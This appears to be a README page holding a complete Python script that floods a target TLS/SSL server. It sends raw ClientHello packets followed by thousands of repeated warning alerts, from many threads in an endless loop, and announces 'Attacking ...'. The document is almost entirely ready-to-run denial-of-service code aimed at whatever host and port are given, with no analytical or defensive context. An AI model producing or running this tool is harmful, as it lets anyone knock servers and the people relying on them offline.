README.md
Rendering markdown...
#!/usr/bin/python
import socket
import errno
from socket import error as socket_error
import threading
import os
import sys
def MAIN_CHECK(HOSTARG,PORTARG):
s0 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = s0.connect_ex((HOSTARG, PORTARG))
s0.close()
if result:
print("https://"+HOST+":"+str(PORT)+" seems to be down? :(\nCheck if service is running or maybe we are blocked?")
exit(1)
def SEDNALL():
while True:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((HOST, PORT))
sock.send(final_client_hello)
sock.send(final_client_alert)
sock.close
except socket_error as serr:
pass
def INIT():
try:
while True:
SEDNALL()
except socket_error as serr:
SEDNALL()
if len(sys.argv) != 6:
print("\nUsage: python "+sys.argv[0]+" DOMAIN/IP PORT PROTOCOL-VERSION(SSLv3, TLS1.0, TLS1.1, TLS1.2) NUMBER-OF-ALERTS(1000) THREADS(50)\nUsage: python "+sys.argv[0]+" test.tdl 443 TLS1.2 1000 50\nCheck of the server supports the protocol before testing it ...")
exit(1)
HOST, PORT = sys.argv[1], int(sys.argv[2])
MAIN_CHECK(HOST,PORT)
#SSL Client Hello
sslv3=b'\x16\x03\x00\x00\x8a\x01\x00\x00\x86\x03\x00\x08\x87\x37\x72\xa4\xc5\xb7\xee\x72\x1a\x28\x52\x95\x5f\x4e\x8b\x80\x33\x6e\x27\x49\x85\x33\x61\xa7\xeb\xbe\x70\xc7\x85\xab\x5b\x00\x00\x3e\xc0\x14\xc0\x0a\x00\x39\x00\x38\x00\x37\x00\x36\x00\x88\x00\x87\x00\x86\x00\x85\xc0\x0f\xc0\x05\x00\x35\x00\x84\xc0\x13\xc0\x09\x00\x33\x00\x32\x00\x31\x00\x30\x00\x45\x00\x44\x00\x43\x00\x42\xc0\x0e\xc0\x04\x00\x2f\x00\x41\x00\x05\x00\x04\x00\xff\x01\x00\x00\x1f\x00\x0b\x00\x04\x03\x00\x01\x02\x00\x0a\x00\x0a\x00\x08\x00\x17\x00\x19\x00\x18\x00\x16\x00\x23\x00\x00\x00\x0f\x00\x01\x01'
tls10=b'\x16\x03\x01\x00\x8a\x01\x00\x00\x86\x03\x01\x08\x87\x37\x72\xa4\xc5\xb7\xee\x72\x1a\x28\x52\x95\x5f\x4e\x8b\x80\x33\x6e\x27\x49\x85\x33\x61\xa7\xeb\xbe\x70\xc7\x85\xab\x5b\x00\x00\x3e\xc0\x14\xc0\x0a\x00\x39\x00\x38\x00\x37\x00\x36\x00\x88\x00\x87\x00\x86\x00\x85\xc0\x0f\xc0\x05\x00\x35\x00\x84\xc0\x13\xc0\x09\x00\x33\x00\x32\x00\x31\x00\x30\x00\x45\x00\x44\x00\x43\x00\x42\xc0\x0e\xc0\x04\x00\x2f\x00\x41\x00\x05\x00\x04\x00\xff\x01\x00\x00\x1f\x00\x0b\x00\x04\x03\x00\x01\x02\x00\x0a\x00\x0a\x00\x08\x00\x17\x00\x19\x00\x18\x00\x16\x00\x23\x00\x00\x00\x0f\x00\x01\x01'
tls11=b'\x16\x03\x02\x00\x8a\x01\x00\x00\x86\x03\x02\x08\x87\x37\x72\xa4\xc5\xb7\xee\x72\x1a\x28\x52\x95\x5f\x4e\x8b\x80\x33\x6e\x27\x49\x85\x33\x61\xa7\xeb\xbe\x70\xc7\x85\xab\x5b\x00\x00\x3e\xc0\x14\xc0\x0a\x00\x39\x00\x38\x00\x37\x00\x36\x00\x88\x00\x87\x00\x86\x00\x85\xc0\x0f\xc0\x05\x00\x35\x00\x84\xc0\x13\xc0\x09\x00\x33\x00\x32\x00\x31\x00\x30\x00\x45\x00\x44\x00\x43\x00\x42\xc0\x0e\xc0\x04\x00\x2f\x00\x41\x00\x05\x00\x04\x00\xff\x01\x00\x00\x1f\x00\x0b\x00\x04\x03\x00\x01\x02\x00\x0a\x00\x0a\x00\x08\x00\x17\x00\x19\x00\x18\x00\x16\x00\x23\x00\x00\x00\x0f\x00\x01\x01'
tls12=b'\x16\x03\x03\x00\x8a\x01\x00\x00\x86\x03\x03\x08\x87\x37\x72\xa4\xc5\xb7\xee\x72\x1a\x28\x52\x95\x5f\x4e\x8b\x80\x33\x6e\x27\x49\x85\x33\x61\xa7\xeb\xbe\x70\xc7\x85\xab\x5b\x00\x00\x3e\xc0\x14\xc0\x0a\x00\x39\x00\x38\x00\x37\x00\x36\x00\x88\x00\x87\x00\x86\x00\x85\xc0\x0f\xc0\x05\x00\x35\x00\x84\xc0\x13\xc0\x09\x00\x33\x00\x32\x00\x31\x00\x30\x00\x45\x00\x44\x00\x43\x00\x42\xc0\x0e\xc0\x04\x00\x2f\x00\x41\x00\x05\x00\x04\x00\xff\x01\x00\x00\x1f\x00\x0b\x00\x04\x03\x00\x01\x02\x00\x0a\x00\x0a\x00\x08\x00\x17\x00\x19\x00\x18\x00\x16\x00\x23\x00\x00\x00\x0f\x00\x01\x01'
#Client Alert - (Level: Warning, Description: Certificate Unknown)
alertsslv3=b'\x15\x03\x00\x00\x02\x01\x2e'
alerttls10=b'\x15\x03\x01\x00\x02\x01\x2e'
alerttls11=b'\x15\x03\x02\x00\x02\x01\x2e'
alerttls12=b'\x15\x03\x03\x00\x02\x01\x2e'
final_client_alert=b''
protocol_version_used=""
if str(sys.argv[3]) == "SSLv3":
final_client_hello=sslv3
use_client_alert=alertsslv3
protocol_version_used="Using SSL v3 protocol"
elif str(sys.argv[3]) == "TLS1.0":
final_client_hello=tls10
use_client_alert=alerttls10
protocol_version_used="Using TLS 1.0"
elif str(sys.argv[3]) == "TLS1.1":
final_client_hello=tls11
use_client_alert=alerttls11
protocol_version_used="Using TLS 1.1 protocol"
elif str(sys.argv[3]) == "TLS1.2":
final_client_hello=tls12
use_client_alert=alerttls12
protocol_version_used="Using TLS 1.2 protocol"
else:
print("Error: PROTOCOL-VERSION must be SSLv3 or TLS1.0 or TLS1.1 or TLS1.2")
exit(1)
try:
numberofalerts=int(sys.argv[4])
except ValueError:
print("Error: Number of Alerts must be interger - 1000 is a good start")
exit(1)
try:
numberofthreads=int(sys.argv[5])
except ValueError:
print("Error: Number of Threads must be interger greater than 1 - 50 is a good start")
exit(1)
if numberofthreads == 1 or numberofthreads == 0 or numberofthreads < 0:
print("Error: Number of Threads must be interger greater than 1 - 50 is a good start")
exit(1)
for x in range(1, numberofalerts):
final_client_alert+=use_client_alert
threads = []
for n in range(1,numberofthreads):
thread = threading.Thread(target=INIT)
thread.setDaemon(True)
thread.start()
threads.append(thread)
alertsize=sys.getsizeof(final_client_alert)
print(protocol_version_used)
print("Size of the Client Alert payload: "+str(alertsize/1024)+"."+str(alertsize%1024)+" kilobytes")
print("Attacking ...")
try:
for thread in threads:
thread.join(999999)
except KeyboardInterrupt:
print("\nExiting ...")
os._exit(0)